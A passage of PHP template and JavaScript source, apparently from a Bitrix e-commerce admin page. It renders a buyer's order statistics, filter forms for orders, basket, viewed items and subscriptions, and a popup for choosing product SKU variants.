						<div><?=$userAdres?></div>
					</td>
				</tr>
				<?endif;?>

				<?
				$arStatOrder = array();
				$arStatOrder["PAYED"] = array();
				$arStatOrder["ALL"] = array();

				$arStatAllSites = array();
				$arFilter = array("USER_ID" => $ID);
				$dbOrderStat = CSaleOrder::GetList(
					array("LID" => "ASC"),
					$arFilter,
					array("LID"),
					false,
					array("LID")
				);
				while ($arStat = $dbOrderStat->Fetch())
					$arStatAllSites[$arStat["LID"]] = $arStat["CNT"];

				$statSummary = "";
				$arFilter = array("USER_ID" => $ID, "PAYED" => "Y");
				$dbOrderStat = CSaleOrder::GetList(
					array("CURRENCY" => "ASC", "LID" => "ASC"),
					$arFilter,
					array("LID", "CURRENCY", "SUM" => "PRICE"),
					false,
					array("LID", "CURRENCY", "SUM" => "PRICE")
				);
				while ($arStat = $dbOrderStat->Fetch())
				{
					$statSummary .= "<tr>";
					$statSummary .= "<td colspan=\"2\" align=\"center\" style=\"text-align:center;font-weight:bold;font-size:14px;color:rgb(75, 98, 103);\">".htmlspecialcharsbx($arSites[$arStat["LID"]]["NAME"])."</td>";
					$statSummary .= "</tr>";

					$statSummary .= "<tr>";
					$statSummary .= "<td class=\"adm-detail-content-cell-l\" width=\"40%\">".GetMessage("BUYER_FILED_ORDER_COUNT").":</td>";
					$statSummary .= "<td class=\"adm-detail-content-cell-r\">";
					$statSummary .= "<div>".$arStat["CNT"]." / ".$arStatAllSites[$arStat["LID"]]."</div>";
					$statSummary .= "</td>";
					$statSummary .= "</tr>";

					$statSummary .= "<tr>";
					$statSummary .= "<td class=\"adm-detail-content-cell-l\">".GetMessage("BUYER_FILED_ORDER_SUM").":</td>";
					$statSummary .= "<td class=\"adm-detail-content-cell-r\">";
					$statSummary .= "<div>".SaleFormatCurrency($arStat["PRICE"], $arStat["CURRENCY"])."</div>";
					$statSummary .= "</td>";
					$statSummary .= "</tr>";

					$userOrderAvePayed = 0;
					if ($arStat["CNT"] > 0)
						$userOrderAvePayed = roundEx(($arStat["PRICE"] / $arStat["CNT"]), SALE_VALUE_PRECISION);

					$statSummary .= "<tr>";
					$statSummary .= "<td class=\"adm-detail-content-cell-l\">".GetMessage("BUYER_FILED_ORDER_AVE").":</td>";
					$statSummary .= "<td class=\"adm-detail-content-cell-r\">";
					$statSummary .= "<div>".SaleFormatCurrency($userOrderAvePayed, $arStat["CURRENCY"])."</div>";
					$statSummary .= "</td>";
					$statSummary .= "</tr>";
				}
				if ($statSummary != '')
				{
					echo "<tr class=\"heading\">
						<td colspan=\"2\">".GetMessage('BUYER_G_STATISTIC')."</td>
					</tr>";
					echo $statSummary;
				}

				$arFilter = array("USER_ID" => $ID);
				?>
				<tr class="heading">
					<td colspan="2"><?=GetMessage("BUYER_G_LAST_ORDER")?></td>
				</tr>
				</table>

				<?$lAdmin_tab1->DisplayList();?>
			</td>
		</tr>
		<?$tabControl->EndTab();?>

		<?$tabControl->BeginNextTab();?>
		<tr>
			<td colspan="2">
				<?$lAdmin_tab2->DisplayList(array("FIX_HEADER" => false, "FIX_FOOTER" => false));?>
			</td>
		</tr>
		<?$tabControl->EndTab();?>

		<?$tabControl->BeginNextTab();?>
		<tr>
			<td colspan="2">
				<form name="find_form3" method="GET" action="<?echo $APPLICATION->GetCurPage()?>?">
					<input type="hidden" name="USER_ID" value="<?=$ID?>">
					<?
					$arFilterFieldsTmp = array(
						GetMessage("BUYER_F_DATE_UPDATE"),
						GetMessage("BUYER_F_LID"),
						GetMessage("BUYER_F_PAYED"),
						GetMessage("BUYER_F_DELIVERY"),
						GetMessage("BUYER_F_PRICE"),
						GetMessage("BUYER_F_NAME_PRODUCT"),
					);
					$oFilter = new CAdminFilter(
						$sTableID_tab3."_filter",
						$arFilterFieldsTmp
					);
					$oFilter->Begin();

					$selectLID = "<select name=\"filter_order_lid\">";
					$selectLID .= "<option value=\"\">(".GetMessage('BUYER_VIEW_F_ALL').")</option>";
					foreach ($arSites as $arSite)
					{
						$selected = "";
						if ($arSite["ID"] == $filter_order_lid)
							$selected = "selected";
						$selectLID .= "<option value=\"".$arSite["ID"]."\" ".$selected." >".htmlspecialcharsbx("[".$arSite["ID"]."]".$arSite["NAME"])."</option>";
					}
					$selectLID .= "</select>";
					?>
					<tr>
						<td><?echo GetMessage("BUYER_F_DATE_INSERT");?>:</td>
						<td>
							<?echo CalendarPeriod("filter_date_order_from", $filter_date_order_from, "filter_date_order_to", $filter_date_order_to, "find_form3", "Y")?>
							<input type="hidden" name="USER_ID" value="<?=$ID?>" >
						</td>
					</tr>
					<tr>
						<td><?echo GetMessage("BUYER_F_DATE_UPDATE");?>:</td>
						<td>
							<?echo CalendarPeriod("filter_order_date_up_from", $filter_order_date_up_from, "filter_order_date_up_to", $filter_order_date_up_to, "find_form3", "Y")?>
						</td>
					</tr>
					<tr>
						<td><?=GetMessage('BUYER_VIEW_F_LID')?>:</td>
						<td>
							<?echo $selectLID?>
							<input type="hidden" name="USER_ID" value="<?=$ID?>" >
						</td>
					</tr>
					<tr>
						<td><?echo GetMessage("BUYER_F_PAYED")?>:</td>
						<td>
							<select name="filter_order_payed">
								<option value="">(<?echo GetMessage("BUYERS_PAY_ALL")?>)</option>
								<option value="Y"<?if ($filter_order_payed=="Y") echo " selected"?>><?echo GetMessage("BUYERS_PAY_YES")?></option>
								<option value="N"<?if ($filter_order_payed=="N") echo " selected"?>><?echo GetMessage("BUYERS_PAY_NO")?></option>
							</select>
						</td>
					</tr>
					<tr>
						<td><?echo GetMessage("BUYER_F_DELIVERY")?>:</td>
						<td>
							<select name="filter_order_delivery">
								<option value="">(<?echo GetMessage("BUYERS_PAY_ALL")?>)</option>
								<option value="Y"<?if ($filter_order_delivery=="Y") echo " selected"?>><?echo GetMessage("BUYERS_PAY_YES")?></option>
								<option value="N"<?if ($filter_order_delivery=="N") echo " selected"?>><?echo GetMessage("BUYERS_PAY_NO")?></option>
							</select>
						</td>
					</tr>
					<tr>
						<td><?echo GetMessage("BUYER_F_PRICE")?>:</td>
						<td>
							<span style="position:absolute;padding-top:5px;"><?=GetMessage('BUYER_F_PRICE_FROM');?></span>&nbsp;<input type="text" size="7" maxlength="10" name="filter_summa_from" value="<?=htmlspecialcharsbx($filter_summa_from)?>">&nbsp;
							<?=GetMessage('BUYER_F_PRICE_TO');?>&nbsp;<input type="text" size="7" name="filter_summa_to" maxlength="10" value="<?=htmlspecialcharsbx($filter_summa_to)?>">
						</td>
					</tr>
					<tr>
						<td><?echo GetMessage("BUYER_F_NAME_PRODUCT")?>:</td>
						<td>
							<? CUtil::DecodeUriComponent($filter_order_prod_name);?>
							<input type="text" name="filter_order_prod_name" value="<?=htmlspecialcharsbx($filter_order_prod_name)?>" size="42">
						</td>
					</tr>
					<?
					$oFilter->Buttons(
						array(
							"table_id" => $sTableID_tab3,
							"url" => $APPLICATION->GetCurPageParam(),
							"form" => "find_form3"
						)
					);
					$oFilter->End();?>
				</form>
				<?$lAdmin_tab3->DisplayList(array("FIX_HEADER" => false, "FIX_FOOTER" => false));?>
			</td>
		</tr>
		<?$tabControl->EndTab();?>

		<?$tabControl->BeginNextTab();?>
		<tr>
			<td colspan="2">
				<form name="find_form4" method="GET" action="<?echo $APPLICATION->GetCurPage()?>?">
					<input type="hidden" name="USER_ID" value="<?=$ID?>">
					<?
					$arFilterFieldsTmp = array();
					if (count($arSites) > 1)
						$arFilterFieldsTmp[] = GetMessage('BUYER_BASKET_F_LID');
					$arFilterFieldsTmp[] = GetMessage('BUYER_BASKET_F_NAME');

					$oFilter4 = new CAdminFilter(
						$sTableID_tab4."_filter",
						$arFilterFieldsTmp
					);
					$oFilter4->Begin();
					$selectLID = "<select name=\"filter_basket_lid\">";
					$selectLID .= "<option value=\"\">(".GetMessage('BUYER_VIEW_F_ALL').")</option>";
					foreach ($arSites as $arSite)
					{
						$selected = "";
						if ($arSite["ID"] == $filter_basket_lid)
							$selected = "selected";
						$selectLID .= "<option value=\"".$arSite["ID"]."\" ".$selected." >".htmlspecialcharsbx("[".$arSite["ID"]."]".$arSite["NAME"])."</option>";
					}
					$selectLID .= "</select>";

					if (count($arSites) > 1)
					{
					?>
					<tr>
						<td><?=GetMessage('BUYER_BASKET_F_LID')?>:</td>
						<td>
							<?echo $selectLID?>
						</td>
					</tr>
					<?
					}
					?>
					<tr>
						<td><?=GetMessage('BUYER_BASKET_F_NAME')?>:</td>
						<td>
							<? CUtil::DecodeUriComponent($basket_name_product);?>
							<input type="text" name="basket_name_product" size="48" value="<?=htmlspecialcharsbx($basket_name_product)?>" >
						</td>
					</tr>
					<?
					$oFilter4->Buttons(
						array(
							"table_id" => $sTableID_tab4,
							"url" => $APPLICATION->GetCurPageParam(),
							"form" => "find_form4"
						)
					);
					$oFilter4->End();?>
				</form>
				<?$lAdmin_tab4->DisplayList(array("FIX_HEADER" => false, "FIX_FOOTER" => false));?>
			</td>
		</tr>
		<?$tabControl->EndTab();?>

		<?$tabControl->BeginNextTab();?>
		<tr>
			<td colspan="2">
				<form name="find_form5" method="GET" action="<?echo $APPLICATION->GetCurPage()?>?">
					<input type="hidden" name="USER_ID" value="<?=$ID?>">

					<?$arFilterFieldsTmp = array();
					if (count($arSites) > 1)
						$arFilterFieldsTmp[] = GetMessage('BUYER_VIEW_F_LID');

					$oFilter5 = new CAdminFilter(
						$sTableID_tab5."_filter",
						$arFilterFieldsTmp
					);
					$oFilter5->Begin();

					$selectLID = "<select name=\"filter_viewed_lid\">";
					$selectLID .= "<option value=\"\">(".GetMessage('BUYER_VIEW_F_ALL').")</option>";
					foreach ($arSites as $arSite)
					{
						$selected = "";
						if ($arSite["ID"] == $filter_viewed_lid)
							$selected = "selected";
						$selectLID .= "<option value=\"".$arSite["ID"]."\" ".$selected." >".htmlspecialcharsbx("[".$arSite["ID"]."]".$arSite["NAME"])."</option>";
					}
					$selectLID .= "</select>";
					?>
					<tr>
						<td><?=GetMessage('BUYER_VIEW_F_DATE')?>:</td>
						<td>
							<?echo CalendarPeriod("filter_date_visit_from", $filter_date_visit_from, "filter_date_visit_to", $filter_date_visit_to, "find_form5", "Y")?>
							<input type="hidden" name="USER_ID" value="<?=$ID?>" >
						</td>
					</tr>
					<?if (count($arSites) > 1):?>
					<tr>
						<td><?=GetMessage('BUYER_VIEW_F_LID')?>:</td>
						<td>
							<?echo $selectLID?>
						</td>
					</tr>
					<?endif?>
					<?
					$oFilter5->Buttons(
						array(
							"table_id" => $sTableID_tab5,
							"url" => $APPLICATION->GetCurPageParam(),
							"form" => "find_form5"
						)
					);
					$oFilter5->End();
					?>
					</form>
				<?$lAdmin_tab5->DisplayList(array("FIX_HEADER" => false, "FIX_FOOTER" => false));?>

				<div class="sale_popup_form" id="popup_form_sku_order" style="display:none;">
					<table width="100%">
						<tr><td></td></tr>
						<tr>
							<td><small><span id="listItemPrice"></span>&nbsp;<span id="listItemOldPrice"></span></small></td>
						</tr>
						<tr>
							<td><hr></td>
						</tr>
					</table>

					<table width="100%" id="sku_selectors_list">
						<tr>
							<td colspan="2"></td>
						</tr>
					</table>

					<span id="prod_order_button"></span>
					<input type="hidden" name="viewed_id_apply" id="viewed_id_apply" value="" >
					<input type="hidden" name="viewed_lid_apply" id="viewed_lid_apply" value="" >
					<input type="hidden" name="sku_to_basket_apply" id="sku_to_basket_apply" value="N" >
					<input type="hidden" name="viewed_url_action" id="viewed_url_action" value="" >
				</div>

				<script>
						var wind = new BX.PopupWindow('popup_sku', this, {
							offsetTop : 10,
							offsetLeft : 0,
							autoHide : true,
							closeByEsc : true,
							closeIcon : true,
							titleBar : true,
							draggable: {restrict:true},
							titleBar: {content: BX.create("span", {html: '', 'props': {'className': 'sale-popup-title-bar'}})},
							content : BX("popup_form_sku_order"),
							buttons: [
								new BX.PopupWindowButton({
									text : '<?=GetMessageJS('BUYER_CAN_BUY_NOT');?>',
									id : "popup_sku_save",
									events : {
										click : function() {
											if (BX('sku_to_basket_apply').value == "Y")
											{
												if (BX('viewed_id_apply').value.length > 0 && BX('viewed_lid_apply').value.length > 0)
												{
													fAddToBasketViewed(BX('viewed_id_apply').value, BX('viewed_lid_apply').value);
													wind.close();
												}
											}

											if (BX('viewed_url_action').value != '')
												jsUtils.Redirect([], BX('viewed_url_action').value);
										}
									}
								}),
								new BX.PopupWindowButton({
									text : '<?=GetMessageJS('BUYER_POPUP_CLOSE');?>',
									id : "popup_sku_cancel",
									events : {
										click : function() {
											wind.close();
										}
									}
								})
							]
						});

						function fAddToBasketViewed(product_id, lid)
						{
							t_stat_list_tab5.GetAdminList('/bitrix/admin/sale_buyers_profile.php?USER_ID=<?=$ID?>&lang=<?=LANGUAGE_ID?>&action=viewed_apply&viewed_id='+product_id+'&viewed_lid='+lid);
							t_stat_list_tab4.GetAdminList('/bitrix/admin/sale_buyers_profile.php?USER_ID=<?=$ID?>&lang=<?=LANGUAGE_ID?>');
						}

						function showOfferPopup(arSKU, arProperties, type, message)
						{
							BX.message(message);
							wind.show();
							buildSelect("sku_selectors_list", 0, arSKU, arProperties, type);
							var properties_num = arProperties.length;
							var lastPropCode = arProperties[properties_num-1].CODE;
							addHtml(lastPropCode, arSKU, type);
						}
						function buildSelect(cont_name, prop_num, arSKU, arProperties, type)
						{
							var properties_num = arProperties.length;
							var lastPropCode = arProperties[properties_num-1].CODE;

							for (var i = prop_num; i < properties_num; i++)
							{
								var q = BX('prop_' + i);
								if (q)
									q.parentNode.removeChild(q);
							}

							var select = BX.create('SELECT', {
								props: {
									name: arProperties[prop_num].CODE,
									id :  arProperties[prop_num].CODE
								},
								events: {
									change: (prop_num < properties_num-1)
										? function() {
											buildSelect(cont_name, prop_num + 1, arSKU, arProperties, type);
											if (this.value != "null")
												BX(arProperties[prop_num+1].CODE).disabled = false;
											addHtml(lastPropCode, arSKU, type);
										}
										: function() {
											if (this.value != "null")
												addHtml(lastPropCode, arSKU, type)
										}
								}
							});
							if (prop_num != 0) select.disabled = true;

							var ar = [];
							select.add(new Option(arProperties[prop_num].NAME, 'null'));

							for (var i = 0; i < arSKU.length; i++)
							{
								if (checkSKU(arSKU[i], prop_num, arProperties) && !BX.util.in_array(arSKU[i][prop_num], ar))
								{
									select.add(new Option(
											arSKU[i][prop_num],
											prop_num < properties_num-1 ? arSKU[i][prop_num] : arSKU[i]["ID"]
									));
									ar.push(arSKU[i][prop_num]);
								}
							}

							var cont = BX.create('tr', {
								props: {id: 'prop_' + prop_num},
								children:[
									BX.create('td', {html: arProperties[prop_num].NAME + ': '}),
									BX.create('td', { children:[
										select
									]}),
								]
							});

							var tmp = BX.findChild(BX(cont_name), {tagName:'tbody'}, false, false);

							tmp.appendChild(cont);

							if (prop_num < properties_num-1)
								buildSelect(cont_name, prop_num + 1, arSKU, arProperties, type);
						}

						function checkSKU(SKU, prop_num, arProperties)
						{
							for (var i = 0; i < prop_num; i++)
							{
								code = BX.findChild(BX('popup_sku'), {'attr': {name: arProperties[i].CODE}}, true, false).value;
								if (SKU[i] != code)
									return false;
							}
							return true;
						}

						function addHtml(lastPropCode, arSKU, type)
						{
							var selectedSkuId = BX(lastPropCode).value;
							var btnText = '';

							BX('popup-window-titlebar-popup_sku').innerHTML = '<span class="sale-popup-title-bar">'+arSKU[0]["PRODUCT_NAME"]+'</span>';
							BX("listItemPrice").innerHTML = BX.message('PRODUCT_PRICE_FROM')+arSKU[0]["MIN_PRICE"];
							BX("listItemOldPrice").innerHTML = '';

							for (var i = 0; i < arSKU.length; i++)
							{
								if (arSKU[i]["ID"] == selectedSkuId)
								{
									BX('popup-window-titlebar-popup_sku').innerHTML = '<span class="sale-popup-title-bar">'+arSKU[i]["NAME"]+'</span>';

									if (arSKU[i]["DISCOUNT_PRICE"] != "")
									{
										BX("listItemPrice").innerHTML = arSKU[i]["DISCOUNT_PRICE_FORMATED"]+" "+arSKU[i]["VALUTA_FORMAT"];
										BX("listItemOldPrice").innerHTML = arSKU[i]["PRICE_FORMATED"]+" "+arSKU[i]["VALUTA_FORMAT"];
										summaFormated = arSKU[i]["DISCOUNT_PRICE_FORMATED"];
										price = arSKU[i]["DISCOUNT_PRICE"];
										priceFormated = arSKU[i]["DISCOUNT_PRICE_FORMATED"];
										priceDiscount = arSKU[i]["PRICE"] - arSKU[i]["DISCOUNT_PRICE"];
									}
									else
									{
										BX("listItemPrice").innerHTML = arSKU[i]["PRICE_FORMATED"]+" "+arSKU[i]["VALUTA_FORMAT"];
										BX("listItemOldPrice").innerHTML = "";
										summaFormated = arSKU[i]["PRICE_FORMATED"];
										price = arSKU[i]["PRICE"];
										priceFormated = arSKU[i]["PRICE_FORMATED"];
										priceDiscount = 0;
									}

									if (arSKU[i]["CAN_BUY"] == "Y")
									{
										if (type == 'basket')
										{
											BX('viewed_id_apply').value = arSKU[i]["ID"];
											BX('viewed_lid_apply').value = arSKU[i]["LID"];
											BX('sku_to_basket_apply').value = "Y";
											btnText = BX.message('PRODUCT_ADD_TO_BASKET');
										}
										else
										{
											BX('sku_to_basket_apply').value = "N";
											BX('viewed_url_action').value = '/bitrix/admin/sale_order_create.php?USER_ID='+arSKU[i]["USER_ID"]+'&lang=<?=LANG?>&SITE_ID='+arSKU[i]["LID"]+'&product['+arSKU[i]["ID"]+']=1';
											btnText = BX.message('PRODUCT_ADD_TO_ORDER');
										}

										BX.findChild(BX('popup_sku_save'), {'attr': {class: 'popup-window-button-text'}}, true, false).innerHTML = btnText;
									}
									else
										BX.findChild(BX('popup_sku_save'), {'attr': {class: 'popup-window-button-text'}}, true, false).innerHTML = BX.message('PRODUCT_NOT_TO_ORDER');
								}

								if (arSKU[i]["ID"] == selectedSkuId)
									break;
							}
						}

						function fToggleSetItems(setParentId, linkId)
						{
							var elements = document.getElementsByClassName('set_item_' + setParentId);
							var hide = false;

							for (var i = 0; i < elements.length; ++i)
							{
								if (elements[i].style.display == 'none' || elements[i].style.display == '')
								{
									elements[i].style.display = 'block';
									hide = true;
								}
								else
									elements[i].style.display = 'none';
							}

							if (hide)
								BX(linkId + setParentId).innerHTML = '<?=GetMessage("BUYER_F_HIDE_SET")?>';
							else
								BX(linkId + setParentId).innerHTML = '<?=GetMessage("BUYER_F_SHOW_SET")?>';
						}
				</script>
			</td>
		</tr>
		<?$tabControl->EndTab();?>

		<?if($catalogSubscribeEnabled):?>
		<?$tabControl->BeginNextTab();?>
		<tr>
			<td colspan="2">
				<form method="GET" name="find_subscribe_form" id="find_subscribe_form" 
				      action="<?=$APPLICATION->getCurPage()?>">
					<?
						$findFields = array(
							Loc::getMessage('CS_FILTER_ID'),
							Loc::getMessage('CS_FILTER_USER_CONTACT'),
							Loc::getMessage('CS_FILTER_ITEM_ID'),
							Loc::getMessage('CS_FILTER_DATE_FROM'),
							Loc::getMessage('CS_FILTER_DATE_TO'),
							Loc::getMessage('CS_FILTER_CONTACT_TYPE'),
							Loc::getMessage('CS_FILTER_ACTIVE'),
						);
						$filterObject = new CAdminFilter($sTableID_tab6.'_filter', $findFields,
							array('table_id' => $sTableID_tab6));
						$filterObject->begin();
					?>
					<tr>
						<td><?=Loc::getMessage('CS_FILTER_ID')?></td>
						<td><input type="text" name="find_id" size="11" value="<?=htmlspecialcharsbx($find_id)?>"></td>
					</tr>
					<tr>
						<td><?=Loc::getMessage('CS_FILTER_USER_CONTACT')?></td>
						<td><input type="text" name="find_user_contact" size="40" value="<?=htmlspecialcharsbx($find_user_contact)?>"></td>
					</tr>
					<tr>
						<td><?=Loc::getMessage('CS_FILTER_ITEM_ID')?></td>
						<td><input type="text" name="find_item_id" size="11" value="<?=htmlspecialcharsbx($find_item_id)?>"></td>
					</tr>
					<tr>
						<td><?=Loc::getMessage('CS_FILTER_DATE_FROM')?></td>
						<td><?=CalendarPeriod('find_date_from_1', htmlspecialcharsbx($find_date_from_1),
								'find_date_from_2', htmlspecialcharsbx($find_date_from_2), 'find_subscribe_form', 'Y')?></td>
					</tr>
					<tr>
						<td><?=Loc::getMessage('CS_FILTER_DATE_TO')?></td>
						<td><?=CalendarPeriod('find_date_to_1', htmlspecialcharsbx($find_date_to_1),
								'find_date_to_2', htmlspecialcharsbx($find_date_to_2), 'find_subscribe_form', 'Y')?></td>
					</tr>
					<tr>
						<td><?=Loc::getMessage('CS_FILTER_CONTACT_TYPE')?></td>
						<td>
							<select name="find_contact_type[]">
								<option value=""><?=Loc::getMessage('CS_FILTER_ANY')?></option>
								<?
								$contactTypes = !empty($find_contact_type) ? $find_contact_type : array();
								foreach ($contactType as $contactTypeId => $contactTypeData):?>
									<option value="<?=$contactTypeId?>"<?=in_array($contactTypeId, $contactTypes) ? ' selected' : ''?>>
										<?=htmlspecialcharsbx($contactTypeData['NAME']); ?>
									</option>
								<?endforeach; ?>
							</select>
						</td>
					</tr>
					<tr>
						<td><?=Loc::getMessage('CS_FILTER_ACTIVE')?></td>
						<td>
							<select name="find_active">
								<option value=""><?=Loc::getMessage('CS_FILTER_ANY')?></option>
								<option value="Y"<?if($find_active=="Y")echo " selected"?>>
									<?=Loc::getMessage('CS_FILTER_YES')?>
								</option>
								<option value="N"<?if($find_active=="N")echo " selected"?>>
									<?=Loc::getMessage('CS_FILTER_NO')?>
								</option>
							</select>
						</td>
					</tr>
					<?
						$filterObject->buttons(array('table_id' => $sTableID_tab6,
							'url' => $APPLICATION->getCurPageParam(), 'form' => 'find_subscribe_form'));
						$filterObject->end();
					?>
				</form>
				<?$lAdmin_tab6->displayList(array('FIX_HEADER' => false, 'FIX_FOOTER' => false));?>
			</td>
		</tr>
		<?$tabControl->EndTab();?>
		<?endif;?>

	<?$tabControl->End();?>
<?
}
else
{
	require_once ($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_after.php");
	CAdminMessage::ShowMessage(GetMessage("BUYER_NO_USER"));
}

require_once ($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/epilog_admin.php");?>